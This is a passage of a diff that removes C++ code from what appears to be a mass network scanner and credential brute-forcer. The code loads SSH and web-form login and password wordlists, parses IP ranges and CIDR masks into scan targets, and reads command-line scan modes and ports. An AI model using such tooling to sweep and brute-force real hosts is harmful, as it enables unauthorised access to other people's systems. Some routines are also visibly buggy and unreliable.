sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - MaxPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(loginList); - rewind(passList); - - loginLst = new char*[MaxLogin]; - passLst = new char*[MaxPass]; - - for(int j = 0; j < MaxLogin; j++) - { - loginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxPass; j++) - { - passLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - memset(passLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(passLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, loginList) != NULL) - { - memset(loginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(loginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); - - fclose(loginList); - fclose(passList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxWFLogin = 0; - MaxWFPass = 0; - - FILE *wfLoginList; - FILE *wfPassList; - - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - wfLoginList = fopen("wflogin.txt", "r"); - wfPassList = fopen("wfpass.txt", "r"); - - if(wfPassList != NULL && wfLoginList != NULL) - { - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - MaxWFLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - MaxWFPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(wfLoginList); - rewind(wfPassList); - - wfLoginLst = new char*[MaxWFLogin]; - wfPassLst = new char*[MaxWFPass]; - - for(int j = 0; j < MaxWFLogin; j++) - { - wfLoginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxWFPass; j++) - { - wfPassLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - memset(wfPassLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - memset(wfLoginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); - fclose(wfPassList); - fclose(wfLoginList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxSSHPass = 0; - FILE *sshlpList; - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - sshlpList = fopen("sshpass.txt", "r"); - - if(sshlpList != NULL) - { - while(fgets(buffFG, 32, sshlpList) != NULL) - { - ++MaxSSHPass; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(sshlpList); - - sshlpLst = new char*[MaxSSHPass]; - - for(int j = 0; j < MaxSSHPass; j++) - { - sshlpLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, sshlpList) != NULL) - { - memset(sshlpLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); - - fclose(sshlpList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; -} - -void ReadUTF8(FILE* nFile, char *cp) { - char buffFG[256] = {0}; - int i = 0; - GlobalNegativeSize = 0; - - if(nFile != NULL) - { - while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 && - ((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false) - && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) - { - ++GlobalNegativeSize; - }; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(nFile); - if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); - - GlobalNegatives = new char*[GlobalNegativeSize + 2]; - - while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || - (buffFG[0] == '/' && buffFG[1] == '/')) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - - if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t') - { - char buffFGT[256] = {0}; - strcpy(buffFGT, buffFG); - char *ptr1 = strstr(buffFGT, "\t\t\t"); - ZeroMemory(buffFG, sizeof(buffFG)); - strcpy(buffFG, ptr1 + 3); - }; - - int bSz = strlen(buffFG); - if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10))) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - if(buffFG[bSz] == 13 || buffFG[bSz] == 10) - { - buffFG[bSz] = '\0'; - }; - if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10) - { - buffFG[bSz - 1] = '\0'; - }; - if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10) - { - buffFG[bSz - 2] = '\0'; - }; - - if(strstr((char*)buffFG, "\n") != 0) - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); - memset(GlobalNegatives[i] + sz - 1, '\0', 1); - ++i; - } - else - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); - memset(GlobalNegatives[i] + sz, '\0', 1); - ++i; - }; - - unsigned char buffcpy2[256] = {0}; - int sz = strlen((char*)buffFG); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); -#else - strncpy((char*)buffcpy2, buffFG, sz); -#endif - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); - ZeroMemory(buffFG, sizeof(buffFG)); - fclose(nFile); - } - else - { - stt->doEmitionRedFoundData("No negative list found"); - stt->doEmitionKillSttThread(); - }; -} - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -unsigned char* ASCIItoUNICODE (unsigned char ch) -{ - unsigned char Val[2]; - if ((ch < 192)&&(ch != 168)&&(ch != 184)) {Val[0] = 0; Val[1] = ch; return Val;} - if (ch == 168) {Val[0] = 208; Val[1] = 129; return Val;} - if (ch == 184) {Val[0] = 209; Val[1] = 145; return Val;} - if (ch < 240) {Val[0] = 208; Val[1] = ch-48; return Val;} - if (ch < 249) {Val[0] = 209; Val[1] = ch-112; return Val;} -} -#endif - -std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); - LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; - MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); - int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); - char * buf = (char *)new char[size]; - WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); - delete wbuf; - - res.append(buf); - delete buf; -#else - unsigned int size = 0; - while (src[size++]!=0); - char * buf = (char *)new char[size]; - unsigned char uni[16] = {0}; - - size=0; - while (src[size]!=0) - { - - }; - delete buf; -#endif - return res; -} -void _NegativeLoader() { - FILE *nFile = fopen("negatives.txt", "rb"); - - if( nFile != NULL) - { - unsigned char b[3] = {0}; - fread(b,1,2, nFile); - if( b[0] == 0xEF && b[1] == 0xBB) - { - fread(b,1,1,nFile); // 0xBF - ReadUTF8(nFile, "UTF"); - } - else - { - ReadUTF8(nFile, "1251"); - }; - } -} - -void CheckMaskBits(char *res, int index) { - char *bitsStr = strstr(res, "/"); - int bitsNum = atoi(bitsStr + 1); - int finalBit = 1; - int bitCounter = 0; - - if(bitsNum <= 32 && bitsNum > 24) //4 octet - { - bitCounter = 32 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; - ipsstartfl[index][2] = ipsendfl[index][2] = octet[2]; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = octet[3] + finalBit - 1; - - } - else if(bitsNum <= 24 && bitsNum > 16) //3 octet - { - bitCounter = 24 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = octet[2] + finalBit - 1; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - } - else if(bitsNum <= 16 && bitsNum > 8) //2 octet - { - bitCounter = 16 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = octet[1]; - ipsendfl[index][1] = octet[1] + finalBit - 1; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = 255; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - - } - else if(bitsNum <= 8 && bitsNum > 0) //1 octet - { - bitCounter = 8 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = octet[0]; - ipsendfl[index][0] = octet[0] + finalBit - 1; - ipsstartfl[index][1] = octet[1]; - ipsendfl[index][1] = 255; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = 255; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - } - else - { - stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); - stt->doEmitionKillSttThread(); - }; -} - -void GetOctets(char *curIP) { - char *str1; - char *str2; - char temp[8] = {0}; - - if(strstr(curIP, ".") != NULL) - { - str1 = strstr(curIP, "."); //1 - strncpy(temp, curIP, str1 - curIP); - octet[0] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str1 = strstr(curIP, "/"); - strncpy(temp, curIP, str1 - curIP); - - octet[0] = atoi(temp); - octet[1] = 0; - octet[2] = 0; - octet[3] = 0; - return; - }; - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 - strncpy(temp, str1 + 1, str2 - str1); - octet[1] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str2 = strstr(str1 + 1, "/"); - strncpy(temp, str1 + 1, str2 - str1); - - octet[1] = atoi(temp); - octet[2] = 0; - octet[3] = 0; - return; - }; - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 - strncpy(temp, str2 + 1, str1 - str2); - octet[2] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str1 = strstr(str2 + 1, "/"); - strncpy(temp, str2 + 1, str1 - str2); - - octet[2] = atoi(temp); - octet[3] = 0; - return; - }; - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 - strncpy(temp, str1 + 1, str2 - str1); - octet[3] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str2 = strstr(str1 + 1, "/"); - strncpy(temp, str1 + 1, str2 - str1 - 1); - - octet[3] = atoi(temp); - return; - }; -} - -void FileLoader(char *str) { - char curIP[256] = {0}, curIPCopy[256] = {0}; - unsigned int importFileSize = 0; - - FILE *fl = fopen(str, "r"); - if(fl != NULL) - { - while(fgets((char*)curIP, sizeof(curIP), fl) != NULL) - { - if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - ++importFileSize; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - - ipsstartfl = new unsigned char*[importFileSize + 2]; - ipsendfl = new unsigned char*[importFileSize + 2]; - starterIP = new unsigned char*[importFileSize + 2]; - ZeroMemory(ipsstartfl, importFileSize); - ZeroMemory(ipsendfl, importFileSize); - ZeroMemory(starterIP, importFileSize); - for(int i = 0; i < importFileSize; ++i) - { - ipsstartfl[i] = new unsigned char[4]; - ipsendfl[i] = new unsigned char[4]; - starterIP[i] = new unsigned char[4]; - - ZeroMemory(ipsstartfl[i], 4); - ZeroMemory(ipsendfl[i], 4); - ZeroMemory(starterIP[i], 4); - }; - - rewind(fl); - - while(fgets(curIP, 256, fl) != NULL) - { - if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - strcpy(curIPCopy, curIP); - char *ptr1 = strstr(curIP, " "); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0'; - ptr1 = strstr(curIP, " "); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - ptr1 = strstr(curIP, "#"); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#') - { - ZeroMemory(curIPCopy, sizeof(curIPCopy)); - ZeroMemory(curIP, sizeof(curIP)); - continue; - }; - - if(strstr(curIP, "-") != NULL) - { - bool firstPart = true; - int offset = 0; - int curNIndex = 0; - char curS; - char curN[32] = {0}; - for(int i = 0; i < strlen(curIP); ++i) - { - curS = curIP[i]; - if(curS == '.') - { - if(firstPart) - { - starterIP[flCounter][offset] = atoi(curN); - ipsstartfl[flCounter][offset] = atoi(curN); - } - else ipsendfl[flCounter][offset] = atoi(curN); - ++offset; - curNIndex = 0; - ZeroMemory(curN, 32); - continue; - } - else if(curS == '-') - { - if(firstPart) - { - starterIP[flCounter][offset] = atoi(curN); - ipsstartfl[flCounter][offset] = atoi(curN); - } - else ipsendfl[flCounter][offset] = atoi(curN); - offset = 0; - firstPart = false; - curNIndex = 0; - ZeroMemory(curN, 32); - continue; - }; - curN[curNIndex++] = curS; - if(i == strlen(curIP) - 1) - { - ipsendfl[flCounter][offset] = atoi(curN); - }; - }; - - if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0] - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] > ipsendfl[flCounter][1] - ) - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] - && ipsstartfl[flCounter][2] > ipsendfl[flCounter][2] - ) - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] - && ipsstartfl[flCounter][2] >= ipsendfl[flCounter][2] - && ipsstartfl[flCounter][3] > ipsendfl[flCounter][3] - ) - ) - { - char tempMsg[256] = {0}; - strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); - strcat(tempMsg, std::to_string(flCounter).c_str()); - strcat(tempMsg, "] String-> ["); - strcat(tempMsg, curIPCopy); - strcat(tempMsg, "]"); - stt->doEmitionRedFoundData(QString(tempMsg)); - return; - }; - - gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]); - gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]); - gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]); - gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]); - ++flCounter; - } - else if(strstr(curIP, "/") != NULL) - { - int mask = 0; - char *ptr1 = strstr(curIP, "/"); - GetOctets(curIP); - - mask = atoi(ptr1 + 1); - unsigned char mOctet[4]; - mOctet[0] = 1; - mOctet[1] = 1; - mOctet[2] = 1; - mOctet[3] = 1; - - if(mask >= 24) - { - mOctet[0] = 255; - mOctet[1] = 255; - mOctet[2] = 255; - for(int i = 0; i < mask - 24 - 1; ++i) - { - mOctet[3] = mOctet[3] << 1; - mOctet[3] |= 1; - }; - mOctet[3] = mOctet[3] << 8 - (mask - 24); - } - else if(mask >= 16) - { - mOctet[0] = 255; - mOctet[1] = 255; - for(int i = 0; i < mask - 16 - 1; ++i) - { - mOctet[2] = mOctet[2] << 1; - mOctet[2] |= 1; - }; - mOctet[2] = mOctet[2] << 8 - (mask - 16); - mOctet[3] = 0; - } - else if(mask >= 8) - { - mOctet[0] = 255; - for(int i = 0; i < mask - 8 - 1; ++i) - { - mOctet[1] = mOctet[1] << 1; - mOctet[1] |= 1; - }; - mOctet[1] = mOctet[1] << 8 - (mask - 8); - mOctet[2] = 0; - mOctet[3] = 0; - } - else - { - for(int i = 0; i < mask - 1; ++i) - { - mOctet[0] = mOctet[0]<< 1; - mOctet[0] |= 1; - }; - mOctet[0] = mOctet[0] << 8 - mask; - mOctet[1] = 0; - mOctet[2] = 0; - mOctet[3] = 0; - }; - - unsigned char ocRes = 0; - for(int i = 0; i < 4; ++i) - { - ocRes = octet[i]&mOctet[i]; - starterIP[flCounter][i] = ocRes; - ipsstartfl[flCounter][i] = ocRes; - if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i]; - else ipsendfl[flCounter][i] = octet[i]|~mOctet[i]; - }; - - gTargets += pow((float)2, (32 - mask)); - ++flCounter; - } - else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL) - { - ///DUMMY/// - } - else - { - char tempMsg[256] = {0}; - strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); - strcat(tempMsg, std::to_string(flCounter).c_str()); - strcat(tempMsg, "] String-> ["); - strcat(tempMsg, curIPCopy); - strcat(tempMsg, "]"); - stt->doEmitionRedFoundData(QString(tempMsg)); - return; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - }; - gTargets -= 1; - gTargetsOverall = gTargets; - targets = gTargets; - - stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsOverall + 1) + " hosts)"); - fclose(fl); - } - else - { - stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); - }; -} - -char *GetCIDRRangeStr(char *str) { - char result[128] = {0}; - char start[32] = {0}; - char end[32] = {0}; - - int mask = 0; - char *ptr1 = strstr(str, "/"); - GetOctets(str); - - mask = atoi(ptr1 + 1); - unsigned char mOctet[4]; - mOctet[0] = 1; - mOctet[1] = 1; - mOctet[2] = 1; - mOctet[3] = 1; - - if(mask >= 24) - { - mOctet[0] = 255; - mOctet[1] = 255; - mOctet[2] = 255; - for(int i = 0; i < mask - 24 - 1; ++i) - { - mOctet[3] = mOctet[3] << 1; - mOctet[3] |= 1; - }; - mOctet[3] = mOctet[3] << 8 - (mask - 24); - } - else if(mask >= 16) - { - mOctet[0] = 255; - mOctet[1] = 255; - for(int i = 0; i < mask - 16 - 1; ++i) - { - mOctet[2] = mOctet[2] << 1; - mOctet[2] |= 1; - }; - mOctet[2] = mOctet[2] << 8 - (mask - 16); - mOctet[3] = 0; - } - else if(mask >= 8) - { - mOctet[0] = 255; - for(int i = 0; i < mask - 8 - 1; ++i) - { - mOctet[1] = mOctet[1] << 1; - mOctet[1] |= 1; - }; - mOctet[1] = mOctet[1] << 8 - (mask - 8); - mOctet[2] = 0; - mOctet[3] = 0; - } - else - { - for(int i = 0; i < mask - 1; ++i) - { - mOctet[0] = mOctet[0]<< 1; - mOctet[0] |= 1; - }; - mOctet[0] = mOctet[0] << 8 - mask; - mOctet[1] = 0; - mOctet[2] = 0; - mOctet[3] = 0; - }; - - - sprintf(start, "%d.%d.%d.%d", octet[0]&mOctet[0], - octet[1]&mOctet[1], - octet[2]&mOctet[2], - octet[3]&mOctet[3]); - - unsigned char tempRes0 = 0; - unsigned char tempRes1 = 0; - unsigned char tempRes2 = 0; - unsigned char tempRes3 = 0; - - if(mOctet[0] == 255) tempRes0 = octet[0]; - else tempRes0 = octet[0]|~mOctet[0]; - if(mOctet[1] == 255) tempRes1 = octet[1]; - else tempRes1 = octet[1]|~mOctet[1]; - if(mOctet[2] == 255) tempRes2 = octet[2]; - else tempRes2 = octet[2]|~mOctet[2]; - if(mOctet[3] == 255) tempRes3 = octet[3]; - else tempRes3 = octet[3]|~mOctet[3]; - - sprintf(end, "%d.%d.%d.%d", tempRes0, - tempRes1, - tempRes2, - tempRes3); - - sprintf(result, "%s-%s", start, end); - - return result; -} -int fInit(int InitMode, char *gR) { - strcpy(metaRange, gR); - if (InitMode == 0) - { - if(strstr(gR, "/") != NULL) - { - ++flCounter; - - char *str1; - char *str2; - char res[8] = {0}; - - GetOctets(gR); - - if(strstr(gR, ".") != NULL) - { - str1 = strstr(gR, "."); //1 byte - strncpy(res, gR, (int)((char*)str1 - gR)); - } - else strcpy(res, gR); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][0] = atoi(res); - ipsstartfl[flCounter][0] = atoi(res); - ipsendfl[flCounter][0] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][1] = atoi(res); - ipsstartfl[flCounter][1] = atoi(res); - ipsendfl[flCounter][1] = atoi(res); - }; - - ZeroMemory(res, sizeof(res)); - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 byte - strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); - } - else strcpy(res, str2 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][2] = atoi(res); - ipsstartfl[flCounter][2] = atoi(res); - ipsendfl[flCounter][2] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][3] = atoi(res); - ipsstartfl[flCounter][3] = atoi(res); - ipsendfl[flCounter][3] = atoi(res); - }; - - ipsstart[0] = ipsstartfl[flCounter][0]; - ipsstart[1] = ipsstartfl[flCounter][1]; - ipsstart[2] = ipsstartfl[flCounter][2]; - ipsstart[3] = ipsstartfl[flCounter][3]; - - ipsend[0] = ipsendfl[flCounter][0]; - ipsend[1] = ipsendfl[flCounter][1]; - ipsend[2] = ipsendfl[flCounter][2]; - ipsend[3] = ipsendfl[flCounter][3]; - } - else - { - int x; - char des1[64] = {0}; - - for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x*sizeof(int)); - memset(gR, ' ', x + 1); - ipsstart[i] = atoi(des1); - ZeroMemory(des1, sizeof(des1)); - if(ipsstart[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - x = strcspn(gR, "-"); - if(strstr(gR, "-") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - memcpy(des1, gR, x); - ipsstart[3] = atoi(des1); - memset(gR, ' ', x + 1); - - if(strstr(gR, ".") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - for(int i = 0; i < 4; i++) //Filling the range-closing ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x); - memset(gR, ' ', x + 1); - ipsend[i] = atoi(des1); - - if(ipsend[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - }; - if((ipsstart[0] > ipsend[0]) - || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] > ipsend[1]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] > ipsend[2]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] >= ipsend[2]) && (ipsstart[3] > ipsend[3]) - ) - ) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - targets = numOfIps(ipsstart, ipsend); - }; -} - -int ParseArgs(int argc, char *argv[]) { - int s = 0; - int indexPorts = 0; - - if(strstr(argv[1], "-f") != NULL) - { - gThreads = atoi(argv[3]); - threads = gThreads; - - FileLoader(argv[2]); - gMode = -1; - } - else - { - gMode = atoi(argv[1]); - - if(gMode == 0) //Mode 0 (IP scan) - { - gThreads = atoi(argv[3]); - } - else if(gMode == 1) //Mode 1 (DNS scan) - { - strcpy(gFirstDom, argv[3]); - gThreads = atoi(argv[4]); - }; - - threads = gThreads; - }; - - if(gMode == 0) - { - if(strstr(argv[2], "-") != NULL) - { - strcpy(gRange, argv[2]); - } - else if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, GetCIDRRangeStr(argv[2])); - } - else - { - strcpy(gRange, argv[2]); - strcat(gRange, "-"); - strcat(gRange, argv[2]); - }; - - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - strcpy(finalIP, strstr(gRange, "-") + 1); - } - else if(gMode == 1) - { - if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, argv[2]); - strcpy(endIP2, argv[2]); - } - else - { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - }; - - }; - - for(int i = 1; i <= argc - 1; i++) - { - s += strlen(argv[i]) + 2; - }; - - char *argString = new char [s + 1]; - ZeroMemory(argString, sizeof(*argString)); - - for(int i = 1; i <= argc - 1; i++) - { - strcat(argString, argv[i]); - if(i != argc - 1) strcat(argString, "::"); - }; - - if(strstr(argString, "-p") != NULL) - { - char *portString = strstr(argString, "-p"); - char p[4096] = {0}; - if(strstr(portString, "::") != NULL) - { - strncpy(gPorts, portString, (int)(strstr(portString, "::") - portString)); - strncpy(p, strstr(argString, "-p") + 2, (int)(strstr(portString, "::") - portString)); - } - else - { - strcpy(gPorts, portString); - strcpy(p, strstr(argString, "-p") + 2); - }; - char *lex; - - if(strstr(p, ",") != NULL) - { - - lex = strtok(p, ","); - portArr[indexPorts++] = atoi(lex); - - while ((lex = strtok(NULL, ",")) != NULL) - { - portArr[indexPorts++] = atoi(lex); - overallPorts++; - }; - } - else if(strstr(p, "-") != NULL) - { - char *startp; - char *endp; - char buffForPorts[16] = {0}; - - lex = strtok(p, "-p"); - startp = lex; - lex = 